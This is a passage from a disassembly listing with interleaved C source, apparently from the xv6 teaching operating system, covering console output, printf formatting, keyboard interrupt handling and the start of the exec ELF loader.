89 e5 mov %esp,%ebp 801003f3: 57 push %edi 801003f4: 56 push %esi 801003f5: 53 push %ebx 801003f6: 89 c3 mov %eax,%ebx 801003f8: 83 ec 1c sub $0x1c,%esp if(c == BACKSPACE){ 801003fb: 3d 00 01 00 00 cmp $0x100,%eax 80100400: 0f 84 ac 00 00 00 je 801004b2 <consputc+0xd2> uartputc(c); 80100406: 89 04 24 mov %eax,(%esp) 80100409: e8 02 54 00 00 call 80105810 <uartputc> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010040e: bf d4 03 00 00 mov $0x3d4,%edi 80100413: b8 0e 00 00 00 mov $0xe,%eax 80100418: 89 fa mov %edi,%edx 8010041a: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010041b: be d5 03 00 00 mov $0x3d5,%esi 80100420: 89 f2 mov %esi,%edx 80100422: ec in (%dx),%al pos = inb(CRTPORT+1) << 8; 80100423: 0f b6 c8 movzbl %al,%ecx asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80100426: 89 fa mov %edi,%edx 80100428: c1 e1 08 shl $0x8,%ecx 8010042b: b8 0f 00 00 00 mov $0xf,%eax 80100430: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80100431: 89 f2 mov %esi,%edx 80100433: ec in (%dx),%al pos |= inb(CRTPORT+1); 80100434: 0f b6 c0 movzbl %al,%eax 80100437: 09 c1 or %eax,%ecx if(c == '\n') 80100439: 83 fb 0a cmp $0xa,%ebx 8010043c: 0f 84 0d 01 00 00 je 8010054f <consputc+0x16f> else if(c == BACKSPACE){ 80100442: 81 fb 00 01 00 00 cmp $0x100,%ebx 80100448: 0f 84 e8 00 00 00 je 80100536 <consputc+0x156> crt[pos++] = (c&0xff) | 0x0700; // black on white 8010044e: 0f b6 db movzbl %bl,%ebx 80100451: 80 cf 07 or $0x7,%bh 80100454: 8d 79 01 lea 0x1(%ecx),%edi 80100457: 66 89 9c 09 00 80 0b mov %bx,-0x7ff48000(%ecx,%ecx,1) 8010045e: 80 if(pos < 0 || pos > 25*80) 8010045f: 81 ff d0 07 00 00 cmp $0x7d0,%edi 80100465: 0f 87 bf 00 00 00 ja 8010052a <consputc+0x14a> if((pos/80) >= 24){ // Scroll up. 8010046b: 81 ff 7f 07 00 00 cmp $0x77f,%edi 80100471: 7f 68 jg 801004db <consputc+0xfb> 80100473: 89 f8 mov %edi,%eax 80100475: 89 fb mov %edi,%ebx 80100477: c1 e8 08 shr $0x8,%eax 8010047a: 89 c6 mov %eax,%esi 8010047c: 8d 8c 3f 00 80 0b 80 lea -0x7ff48000(%edi,%edi,1),%ecx asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80100483: bf d4 03 00 00 mov $0x3d4,%edi 80100488: b8 0e 00 00 00 mov $0xe,%eax 8010048d: 89 fa mov %edi,%edx 8010048f: ee out %al,(%dx) 80100490: 89 f0 mov %esi,%eax 80100492: b2 d5 mov $0xd5,%dl 80100494: ee out %al,(%dx) 80100495: b8 0f 00 00 00 mov $0xf,%eax 8010049a: 89 fa mov %edi,%edx 8010049c: ee out %al,(%dx) 8010049d: 89 d8 mov %ebx,%eax 8010049f: b2 d5 mov $0xd5,%dl 801004a1: ee out %al,(%dx) crt[pos] = ' ' | 0x0700; 801004a2: b8 20 07 00 00 mov $0x720,%eax 801004a7: 66 89 01 mov %ax,(%ecx) } 801004aa: 83 c4 1c add $0x1c,%esp 801004ad: 5b pop %ebx 801004ae: 5e pop %esi 801004af: 5f pop %edi 801004b0: 5d pop %ebp 801004b1: c3 ret uartputc('\b'); uartputc(' '); uartputc('\b'); 801004b2: c7 04 24 08 00 00 00 movl $0x8,(%esp) 801004b9: e8 52 53 00 00 call 80105810 <uartputc> 801004be: c7 04 24 20 00 00 00 movl $0x20,(%esp) 801004c5: e8 46 53 00 00 call 80105810 <uartputc> 801004ca: c7 04 24 08 00 00 00 movl $0x8,(%esp) 801004d1: e8 3a 53 00 00 call 80105810 <uartputc> 801004d6: e9 33 ff ff ff jmp 8010040e <consputc+0x2e> memmove(crt, crt+80, sizeof(crt[0])*23*80); 801004db: c7 44 24 08 60 0e 00 movl $0xe60,0x8(%esp) 801004e2: 00 pos -= 80; 801004e3: 8d 5f b0 lea -0x50(%edi),%ebx memmove(crt, crt+80, sizeof(crt[0])*23*80); 801004e6: c7 44 24 04 a0 80 0b movl $0x800b80a0,0x4(%esp) 801004ed: 80 memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos)); 801004ee: 8d b4 1b 00 80 0b 80 lea -0x7ff48000(%ebx,%ebx,1),%esi memmove(crt, crt+80, sizeof(crt[0])*23*80); 801004f5: c7 04 24 00 80 0b 80 movl $0x800b8000,(%esp) 801004fc: e8 ff 3d 00 00 call 80104300 <memmove> memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos)); 80100501: b8 d0 07 00 00 mov $0x7d0,%eax 80100506: 29 f8 sub %edi,%eax 80100508: 01 c0 add %eax,%eax 8010050a: 89 34 24 mov %esi,(%esp) 8010050d: 89 44 24 08 mov %eax,0x8(%esp) 80100511: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80100518: 00 80100519: e8 42 3d 00 00 call 80104260 <memset> 8010051e: 89 f1 mov %esi,%ecx 80100520: be 07 00 00 00 mov $0x7,%esi 80100525: e9 59 ff ff ff jmp 80100483 <consputc+0xa3> panic("pos under/overflow"); 8010052a: c7 04 24 45 6e 10 80 movl $0x80106e45,(%esp) 80100531: e8 2a fe ff ff call 80100360 <panic> if(pos > 0) --pos; 80100536: 85 c9 test %ecx,%ecx 80100538: 8d 79 ff lea -0x1(%ecx),%edi 8010053b: 0f 85 1e ff ff ff jne 8010045f <consputc+0x7f> 80100541: b9 00 80 0b 80 mov $0x800b8000,%ecx 80100546: 31 db xor %ebx,%ebx 80100548: 31 f6 xor %esi,%esi 8010054a: e9 34 ff ff ff jmp 80100483 <consputc+0xa3> pos += 80 - pos%80; 8010054f: 89 c8 mov %ecx,%eax 80100551: ba 67 66 66 66 mov $0x66666667,%edx 80100556: f7 ea imul %edx 80100558: c1 ea 05 shr $0x5,%edx 8010055b: 8d 04 92 lea (%edx,%edx,4),%eax 8010055e: c1 e0 04 shl $0x4,%eax 80100561: 8d 78 50 lea 0x50(%eax),%edi 80100564: e9 f6 fe ff ff jmp 8010045f <consputc+0x7f> 80100569: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100570 <printint>: { 80100570: 55 push %ebp 80100571: 89 e5 mov %esp,%ebp 80100573: 57 push %edi 80100574: 56 push %esi 80100575: 89 d6 mov %edx,%esi 80100577: 53 push %ebx 80100578: 83 ec 1c sub $0x1c,%esp if(sign && (sign = xx < 0)) 8010057b: 85 c9 test %ecx,%ecx 8010057d: 74 61 je 801005e0 <printint+0x70> 8010057f: 85 c0 test %eax,%eax 80100581: 79 5d jns 801005e0 <printint+0x70> x = -xx; 80100583: f7 d8 neg %eax 80100585: bf 01 00 00 00 mov $0x1,%edi i = 0; 8010058a: 31 c9 xor %ecx,%ecx 8010058c: eb 04 jmp 80100592 <printint+0x22> 8010058e: 66 90 xchg %ax,%ax buf[i++] = digits[x % base]; 80100590: 89 d9 mov %ebx,%ecx 80100592: 31 d2 xor %edx,%edx 80100594: f7 f6 div %esi 80100596: 8d 59 01 lea 0x1(%ecx),%ebx 80100599: 0f b6 92 70 6e 10 80 movzbl -0x7fef9190(%edx),%edx }while((x /= base) != 0); 801005a0: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 801005a2: 88 54 1d d7 mov %dl,-0x29(%ebp,%ebx,1) }while((x /= base) != 0); 801005a6: 75 e8 jne 80100590 <printint+0x20> if(sign) 801005a8: 85 ff test %edi,%edi buf[i++] = digits[x % base]; 801005aa: 89 d8 mov %ebx,%eax if(sign) 801005ac: 74 08 je 801005b6 <printint+0x46> buf[i++] = '-'; 801005ae: 8d 59 02 lea 0x2(%ecx),%ebx 801005b1: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1) while(--i >= 0) 801005b6: 83 eb 01 sub $0x1,%ebx 801005b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi consputc(buf[i]); 801005c0: 0f be 44 1d d8 movsbl -0x28(%ebp,%ebx,1),%eax while(--i >= 0) 801005c5: 83 eb 01 sub $0x1,%ebx consputc(buf[i]); 801005c8: e8 13 fe ff ff call 801003e0 <consputc> while(--i >= 0) 801005cd: 83 fb ff cmp $0xffffffff,%ebx 801005d0: 75 ee jne 801005c0 <printint+0x50> } 801005d2: 83 c4 1c add $0x1c,%esp 801005d5: 5b pop %ebx 801005d6: 5e pop %esi 801005d7: 5f pop %edi 801005d8: 5d pop %ebp 801005d9: c3 ret 801005da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi x = xx; 801005e0: 31 ff xor %edi,%edi 801005e2: eb a6 jmp 8010058a <printint+0x1a> 801005e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801005ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801005f0 <consolewrite>: int consolewrite(struct inode *ip, char *buf, int n) { 801005f0: 55 push %ebp 801005f1: 89 e5 mov %esp,%ebp 801005f3: 57 push %edi 801005f4: 56 push %esi 801005f5: 53 push %ebx 801005f6: 83 ec 1c sub $0x1c,%esp int i; iunlock(ip); 801005f9: 8b 45 08 mov 0x8(%ebp),%eax { 801005fc: 8b 75 10 mov 0x10(%ebp),%esi iunlock(ip); 801005ff: 89 04 24 mov %eax,(%esp) 80100602: e8 69 11 00 00 call 80101770 <iunlock> acquire(&cons.lock); 80100607: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010060e: e8 0d 3b 00 00 call 80104120 <acquire> 80100613: 8b 7d 0c mov 0xc(%ebp),%edi for(i = 0; i < n; i++) 80100616: 85 f6 test %esi,%esi 80100618: 8d 1c 37 lea (%edi,%esi,1),%ebx 8010061b: 7e 12 jle 8010062f <consolewrite+0x3f> 8010061d: 8d 76 00 lea 0x0(%esi),%esi consputc(buf[i] & 0xff); 80100620: 0f b6 07 movzbl (%edi),%eax 80100623: 83 c7 01 add $0x1,%edi 80100626: e8 b5 fd ff ff call 801003e0 <consputc> for(i = 0; i < n; i++) 8010062b: 39 df cmp %ebx,%edi 8010062d: 75 f1 jne 80100620 <consolewrite+0x30> release(&cons.lock); 8010062f: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 80100636: e8 d5 3b 00 00 call 80104210 <release> ilock(ip); 8010063b: 8b 45 08 mov 0x8(%ebp),%eax 8010063e: 89 04 24 mov %eax,(%esp) 80100641: e8 4a 10 00 00 call 80101690 <ilock> return n; } 80100646: 83 c4 1c add $0x1c,%esp 80100649: 89 f0 mov %esi,%eax 8010064b: 5b pop %ebx 8010064c: 5e pop %esi 8010064d: 5f pop %edi 8010064e: 5d pop %ebp 8010064f: c3 ret 80100650 <cprintf>: { 80100650: 55 push %ebp 80100651: 89 e5 mov %esp,%ebp 80100653: 57 push %edi 80100654: 56 push %esi 80100655: 53 push %ebx 80100656: 83 ec 1c sub $0x1c,%esp locking = cons.locking; 80100659: a1 54 a5 10 80 mov 0x8010a554,%eax if(locking) 8010065e: 85 c0 test %eax,%eax locking = cons.locking; 80100660: 89 45 e0 mov %eax,-0x20(%ebp) if(locking) 80100663: 0f 85 27 01 00 00 jne 80100790 <cprintf+0x140> if (fmt == 0) 80100669: 8b 45 08 mov 0x8(%ebp),%eax 8010066c: 85 c0 test %eax,%eax 8010066e: 89 c1 mov %eax,%ecx 80100670: 0f 84 2b 01 00 00 je 801007a1 <cprintf+0x151> for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 80100676: 0f b6 00 movzbl (%eax),%eax 80100679: 31 db xor %ebx,%ebx 8010067b: 89 cf mov %ecx,%edi 8010067d: 8d 75 0c lea 0xc(%ebp),%esi 80100680: 85 c0 test %eax,%eax 80100682: 75 4c jne 801006d0 <cprintf+0x80> 80100684: eb 5f jmp 801006e5 <cprintf+0x95> 80100686: 66 90 xchg %ax,%ax c = fmt[++i] & 0xff; 80100688: 83 c3 01 add $0x1,%ebx 8010068b: 0f b6 14 1f movzbl (%edi,%ebx,1),%edx if(c == 0) 8010068f: 85 d2 test %edx,%edx 80100691: 74 52 je 801006e5 <cprintf+0x95> switch(c){ 80100693: 83 fa 70 cmp $0x70,%edx 80100696: 74 72 je 8010070a <cprintf+0xba> 80100698: 7f 66 jg 80100700 <cprintf+0xb0> 8010069a: 83 fa 25 cmp $0x25,%edx 8010069d: 8d 76 00 lea 0x0(%esi),%esi 801006a0: 0f 84 a2 00 00 00 je 80100748 <cprintf+0xf8> 801006a6: 83 fa 64 cmp $0x64,%edx 801006a9: 75 7d jne 80100728 <cprintf+0xd8> printint(*argp++, 10, 1); 801006ab: 8d 46 04 lea 0x4(%esi),%eax 801006ae: b9 01 00 00 00 mov $0x1,%ecx 801006b3: 89 45 e4 mov %eax,-0x1c(%ebp) 801006b6: 8b 06 mov (%esi),%eax 801006b8: ba 0a 00 00 00 mov $0xa,%edx 801006bd: e8 ae fe ff ff call 80100570 <printint> 801006c2: 8b 75 e4 mov -0x1c(%ebp),%esi for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 801006c5: 83 c3 01 add $0x1,%ebx 801006c8: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax 801006cc: 85 c0 test %eax,%eax 801006ce: 74 15 je 801006e5 <cprintf+0x95> if(c != '%'){ 801006d0: 83 f8 25 cmp $0x25,%eax 801006d3: 74 b3 je 80100688 <cprintf+0x38> consputc(c); 801006d5: e8 06 fd ff ff call 801003e0 <consputc> for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 801006da: 83 c3 01 add $0x1,%ebx 801006dd: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax 801006e1: 85 c0 test %eax,%eax 801006e3: 75 eb jne 801006d0 <cprintf+0x80> if(locking) 801006e5: 8b 45 e0 mov -0x20(%ebp),%eax 801006e8: 85 c0 test %eax,%eax 801006ea: 74 0c je 801006f8 <cprintf+0xa8> release(&cons.lock); 801006ec: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 801006f3: e8 18 3b 00 00 call 80104210 <release> } 801006f8: 83 c4 1c add $0x1c,%esp 801006fb: 5b pop %ebx 801006fc: 5e pop %esi 801006fd: 5f pop %edi 801006fe: 5d pop %ebp 801006ff: c3 ret switch(c){ 80100700: 83 fa 73 cmp $0x73,%edx 80100703: 74 53 je 80100758 <cprintf+0x108> 80100705: 83 fa 78 cmp $0x78,%edx 80100708: 75 1e jne 80100728 <cprintf+0xd8> printint(*argp++, 16, 0); 8010070a: 8d 46 04 lea 0x4(%esi),%eax 8010070d: 31 c9 xor %ecx,%ecx 8010070f: 89 45 e4 mov %eax,-0x1c(%ebp) 80100712: 8b 06 mov (%esi),%eax 80100714: ba 10 00 00 00 mov $0x10,%edx 80100719: e8 52 fe ff ff call 80100570 <printint> 8010071e: 8b 75 e4 mov -0x1c(%ebp),%esi break; 80100721: eb a2 jmp 801006c5 <cprintf+0x75> 80100723: 90 nop 80100724: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi consputc('%'); 80100728: b8 25 00 00 00 mov $0x25,%eax 8010072d: 89 55 e4 mov %edx,-0x1c(%ebp) 80100730: e8 ab fc ff ff call 801003e0 <consputc> consputc(c); 80100735: 8b 55 e4 mov -0x1c(%ebp),%edx 80100738: 89 d0 mov %edx,%eax 8010073a: e8 a1 fc ff ff call 801003e0 <consputc> 8010073f: eb 99 jmp 801006da <cprintf+0x8a> 80100741: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi consputc('%'); 80100748: b8 25 00 00 00 mov $0x25,%eax 8010074d: e8 8e fc ff ff call 801003e0 <consputc> break; 80100752: e9 6e ff ff ff jmp 801006c5 <cprintf+0x75> 80100757: 90 nop if((s = (char*)*argp++) == 0) 80100758: 8d 46 04 lea 0x4(%esi),%eax 8010075b: 8b 36 mov (%esi),%esi 8010075d: 89 45 e4 mov %eax,-0x1c(%ebp) s = "(null)"; 80100760: b8 58 6e 10 80 mov $0x80106e58,%eax 80100765: 85 f6 test %esi,%esi 80100767: 0f 44 f0 cmove %eax,%esi for(; *s; s++) 8010076a: 0f be 06 movsbl (%esi),%eax 8010076d: 84 c0 test %al,%al 8010076f: 74 16 je 80100787 <cprintf+0x137> 80100771: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100778: 83 c6 01 add $0x1,%esi consputc(*s); 8010077b: e8 60 fc ff ff call 801003e0 <consputc> for(; *s; s++) 80100780: 0f be 06 movsbl (%esi),%eax 80100783: 84 c0 test %al,%al 80100785: 75 f1 jne 80100778 <cprintf+0x128> if((s = (char*)*argp++) == 0) 80100787: 8b 75 e4 mov -0x1c(%ebp),%esi 8010078a: e9 36 ff ff ff jmp 801006c5 <cprintf+0x75> 8010078f: 90 nop acquire(&cons.lock); 80100790: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 80100797: e8 84 39 00 00 call 80104120 <acquire> 8010079c: e9 c8 fe ff ff jmp 80100669 <cprintf+0x19> panic("null fmt"); 801007a1: c7 04 24 5f 6e 10 80 movl $0x80106e5f,(%esp) 801007a8: e8 b3 fb ff ff call 80100360 <panic> 801007ad: 8d 76 00 lea 0x0(%esi),%esi 801007b0 <consoleintr>: { 801007b0: 55 push %ebp 801007b1: 89 e5 mov %esp,%ebp 801007b3: 57 push %edi 801007b4: 56 push %esi int c, doprocdump = 0; 801007b5: 31 f6 xor %esi,%esi { 801007b7: 53 push %ebx 801007b8: 83 ec 1c sub $0x1c,%esp 801007bb: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&cons.lock); 801007be: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 801007c5: e8 56 39 00 00 call 80104120 <acquire> 801007ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi while((c = getc()) >= 0){ 801007d0: ff d3 call *%ebx 801007d2: 85 c0 test %eax,%eax 801007d4: 89 c7 mov %eax,%edi 801007d6: 78 48 js 80100820 <consoleintr+0x70> switch(c){ 801007d8: 83 ff 10 cmp $0x10,%edi 801007db: 0f 84 2f 01 00 00 je 80100910 <consoleintr+0x160> 801007e1: 7e 5d jle 80100840 <consoleintr+0x90> 801007e3: 83 ff 15 cmp $0x15,%edi 801007e6: 0f 84 d4 00 00 00 je 801008c0 <consoleintr+0x110> 801007ec: 83 ff 7f cmp $0x7f,%edi 801007ef: 90 nop 801007f0: 75 53 jne 80100845 <consoleintr+0x95> if(input.e != input.w){ 801007f2: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 801007f7: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 801007fd: 74 d1 je 801007d0 <consoleintr+0x20> input.e--; 801007ff: 83 e8 01 sub $0x1,%eax 80100802: a3 a8 ff 10 80 mov %eax,0x8010ffa8 consputc(BACKSPACE); 80100807: b8 00 01 00 00 mov $0x100,%eax 8010080c: e8 cf fb ff ff call 801003e0 <consputc> while((c = getc()) >= 0){ 80100811: ff d3 call *%ebx 80100813: 85 c0 test %eax,%eax 80100815: 89 c7 mov %eax,%edi 80100817: 79 bf jns 801007d8 <consoleintr+0x28> 80100819: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi release(&cons.lock); 80100820: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 80100827: e8 e4 39 00 00 call 80104210 <release> if(doprocdump) { 8010082c: 85 f6 test %esi,%esi 8010082e: 0f 85 ec 00 00 00 jne 80100920 <consoleintr+0x170> } 80100834: 83 c4 1c add $0x1c,%esp 80100837: 5b pop %ebx 80100838: 5e pop %esi 80100839: 5f pop %edi 8010083a: 5d pop %ebp 8010083b: c3 ret 8010083c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi switch(c){ 80100840: 83 ff 08 cmp $0x8,%edi 80100843: 74 ad je 801007f2 <consoleintr+0x42> if(c != 0 && input.e-input.r < INPUT_BUF){ 80100845: 85 ff test %edi,%edi 80100847: 74 87 je 801007d0 <consoleintr+0x20> 80100849: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 8010084e: 89 c2 mov %eax,%edx 80100850: 2b 15 a0 ff 10 80 sub 0x8010ffa0,%edx 80100856: 83 fa 7f cmp $0x7f,%edx 80100859: 0f 87 71 ff ff ff ja 801007d0 <consoleintr+0x20> input.buf[input.e++ % INPUT_BUF] = c; 8010085f: 8d 50 01 lea 0x1(%eax),%edx 80100862: 83 e0 7f and $0x7f,%eax c = (c == '\r') ? '\n' : c; 80100865: 83 ff 0d cmp $0xd,%edi input.buf[input.e++ % INPUT_BUF] = c; 80100868: 89 15 a8 ff 10 80 mov %edx,0x8010ffa8 c = (c == '\r') ? '\n' : c; 8010086e: 0f 84 b8 00 00 00 je 8010092c <consoleintr+0x17c> input.buf[input.e++ % INPUT_BUF] = c; 80100874: 89 f9 mov %edi,%ecx 80100876: 88 88 20 ff 10 80 mov %cl,-0x7fef00e0(%eax) consputc(c); 8010087c: 89 f8 mov %edi,%eax 8010087e: e8 5d fb ff ff call 801003e0 <consputc> if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){ 80100883: 83 ff 04 cmp $0x4,%edi 80100886: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 8010088b: 74 19 je 801008a6 <consoleintr+0xf6> 8010088d: 83 ff 0a cmp $0xa,%edi 80100890: 74 14 je 801008a6 <consoleintr+0xf6> 80100892: 8b 0d a0 ff 10 80 mov 0x8010ffa0,%ecx 80100898: 8d 91 80 00 00 00 lea 0x80(%ecx),%edx 8010089e: 39 d0 cmp %edx,%eax 801008a0: 0f 85 2a ff ff ff jne 801007d0 <consoleintr+0x20> wakeup(&input.r); 801008a6: c7 04 24 a0 ff 10 80 movl $0x8010ffa0,(%esp) input.w = input.e; 801008ad: a3 a4 ff 10 80 mov %eax,0x8010ffa4 wakeup(&input.r); 801008b2: e8 b9 34 00 00 call 80103d70 <wakeup> 801008b7: e9 14 ff ff ff jmp 801007d0 <consoleintr+0x20> 801008bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(input.e != input.w && 801008c0: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 801008c5: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 801008cb: 75 2b jne 801008f8 <consoleintr+0x148> 801008cd: e9 fe fe ff ff jmp 801007d0 <consoleintr+0x20> 801008d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi input.e--; 801008d8: a3 a8 ff 10 80 mov %eax,0x8010ffa8 consputc(BACKSPACE); 801008dd: b8 00 01 00 00 mov $0x100,%eax 801008e2: e8 f9 fa ff ff call 801003e0 <consputc> while(input.e != input.w && 801008e7: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 801008ec: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 801008f2: 0f 84 d8 fe ff ff je 801007d0 <consoleintr+0x20> input.buf[(input.e-1) % INPUT_BUF] != '\n'){ 801008f8: 83 e8 01 sub $0x1,%eax 801008fb: 89 c2 mov %eax,%edx 801008fd: 83 e2 7f and $0x7f,%edx while(input.e != input.w && 80100900: 80 ba 20 ff 10 80 0a cmpb $0xa,-0x7fef00e0(%edx) 80100907: 75 cf jne 801008d8 <consoleintr+0x128> 80100909: e9 c2 fe ff ff jmp 801007d0 <consoleintr+0x20> 8010090e: 66 90 xchg %ax,%ax doprocdump = 1; 80100910: be 01 00 00 00 mov $0x1,%esi 80100915: e9 b6 fe ff ff jmp 801007d0 <consoleintr+0x20> 8010091a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } 80100920: 83 c4 1c add $0x1c,%esp 80100923: 5b pop %ebx 80100924: 5e pop %esi 80100925: 5f pop %edi 80100926: 5d pop %ebp procdump(); // now call procdump() wo. cons.lock held 80100927: e9 24 35 00 00 jmp 80103e50 <procdump> input.buf[input.e++ % INPUT_BUF] = c; 8010092c: c6 80 20 ff 10 80 0a movb $0xa,-0x7fef00e0(%eax) consputc(c); 80100933: b8 0a 00 00 00 mov $0xa,%eax 80100938: e8 a3 fa ff ff call 801003e0 <consputc> 8010093d: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 80100942: e9 5f ff ff ff jmp 801008a6 <consoleintr+0xf6> 80100947: 89 f6 mov %esi,%esi 80100949: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100950 <consoleinit>: void consoleinit(void) { 80100950: 55 push %ebp 80100951: 89 e5 mov %esp,%ebp 80100953: 83 ec 18 sub $0x18,%esp initlock(&cons.lock, "console"); 80100956: c7 44 24 04 68 6e 10 movl $0x80106e68,0x4(%esp) 8010095d: 80 8010095e: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 80100965: e8 c6 36 00 00 call 80104030 <initlock> devsw[CONSOLE].write = consolewrite; devsw[CONSOLE].read = consoleread; cons.locking = 1; ioapicenable(IRQ_KBD, 0); 8010096a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80100971: 00 80100972: c7 04 24 01 00 00 00 movl $0x1,(%esp) devsw[CONSOLE].write = consolewrite; 80100979: c7 05 6c 09 11 80 f0 movl $0x801005f0,0x8011096c 80100980: 05 10 80 devsw[CONSOLE].read = consoleread; 80100983: c7 05 68 09 11 80 70 movl $0x80100270,0x80110968 8010098a: 02 10 80 cons.locking = 1; 8010098d: c7 05 54 a5 10 80 01 movl $0x1,0x8010a554 80100994: 00 00 00 ioapicenable(IRQ_KBD, 0); 80100997: e8 f4 18 00 00 call 80102290 <ioapicenable> } 8010099c: c9 leave 8010099d: c3 ret 8010099e: 66 90 xchg %ax,%ax 801009a0 <exec>: #include "x86.h" #include "elf.h" int exec(char *path, char **argv) { 801009a0: 55 push %ebp 801009a1: 89 e5 mov %esp,%ebp 801009a3: 57 push %edi 801009a4: 56 push %esi 801009a5: 53 push %ebx 801009a6: 81 ec 2c 01 00 00 sub $0x12c,%esp uint argc, sz, sp, ustack[3+MAXARG+1]; struct elfhdr elf; struct inode *ip; struct proghdr ph; pde_t *pgdir, *oldpgdir; struct proc *curproc = myproc(); 801009ac: e8 cf 2c 00 00 call 80103680 <myproc> 801009b1: 89 85 f4 fe ff ff mov %eax,-0x10c(%ebp) begin_op(); 801009b7: e8 34 21 00 00 call 80102af0 <begin_op> if((ip = namei(path)) == 0){ 801009bc: 8b 45 08 mov 0x8(%ebp),%eax 801009bf: 89 04 24 mov %eax,(%esp) 801009c2: e8 19 15 00 00 call 80101ee0 <namei> 801009c7: 85 c0 test %eax,%eax 801009c9: 89 c3 mov %eax,%ebx 801009cb: 0f 84 3f 02 00 00 je 80100c10 <exec+0x270> end_op(); cprintf("exec: fail\n"); return -1; } ilock(ip); 801009d1: 89 04 24 mov %eax,(%esp) 801009d4: e8 b7 0c 00 00 call 80101690 <ilock> pgdir = 0; // Check ELF header if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf)) 801009d9: 8d 85 24 ff ff ff lea -0xdc(%ebp),%eax 801009df: c7 44 24 0c 34 00 00 movl $0x34,0xc(%esp) 801009e6: 00 801009e7: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 801009ee: 00 801009ef: 89 44 24 04 mov %eax,0x4(%esp) 801009f3: 89 1c 24 mov %ebx,(%esp) 801009f6: e8 45 0f 00 00 call 80101940 <readi> 801009fb: 83 f8 34 cmp $0x34,%eax 801009fe: 74 20 je 80100a20 <exec+0x80> bad: if(pgdir) freevm(pgdir); if(ip){ iunlockput(ip); 80100a00: 89 1c 24 mov %ebx,(%esp) 80100a03: e8 e8 0e 00 00 call 801018f0 <iunlockput> end_op(); 80100a08: e8 53 21 00 00 call 80102b60 <end_op> } return -1; 80100a0d: b8 ff ff ff ff mov $0xffffffff,%eax } 80100a12: 81 c4 2c 01 00 00 add $0x12c,%esp 80100a18: 5b pop %ebx 80100a19: 5e pop %esi 80100a1a: 5f pop %edi 80100a1b: 5d pop %ebp 80100a1c: c3 ret 80100a1d: 8d 76 00 lea 0x0(%esi),%esi if(elf.magic != ELF_MAGIC) 80100a20: 81 bd 24 ff ff ff 7f cmpl $0x464c457f,-0xdc(%ebp) 80100a27: 45 4c 46 80100a2a: 75 d4 jne 80100a00 <exec+0x60> if((pgdir = setupkvm()) == 0) 80100a2c: e8 ef 5f 00 00 call 80106a20 <setupkvm> 80100a31: 85 c0 test %eax,%eax 80100a33: 89 85 f0 fe ff ff mov %eax,-0x110(%ebp) 80100a39: 74 c5 je 80100a00 <exec+0x60> for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100a3b: 66 83 bd 50 ff ff ff cmpw $0x0,-0xb0(%ebp) 80100a42: 00 80100a43: 8b b5 40 ff ff ff mov -0xc0(%ebp),%esi sz = 0; 80100a49: c7 85 ec fe ff ff 00 movl $0x0,-0x114(%ebp) 80100a50: 00 00 00 for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100a53: 0f 84 da 00 00 00 je 80100b33 <exec+0x193> 80100a59: 31 ff xor %edi,%edi 80100a5b: eb 18 jmp 80100a75 <exec+0xd5> 80100a5d: 8d 76 00 lea 0x0(%esi),%esi 80100a60: 0f b7 85 50 ff ff ff movzwl -0xb0(%ebp),%eax 80100a67: 83 c7 01 add $0x1,%edi 80100a6a: 83 c6 20 add $0x20,%esi 80100a6d: 39 f8 cmp %edi,%eax 80100a6f: 0f 8e be 00 00 00 jle 80100b33 <exec+0x193> if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph)) 80100a75: 8d 85 04 ff ff ff lea -0xfc(%ebp),%eax 80100a7b: c7 44 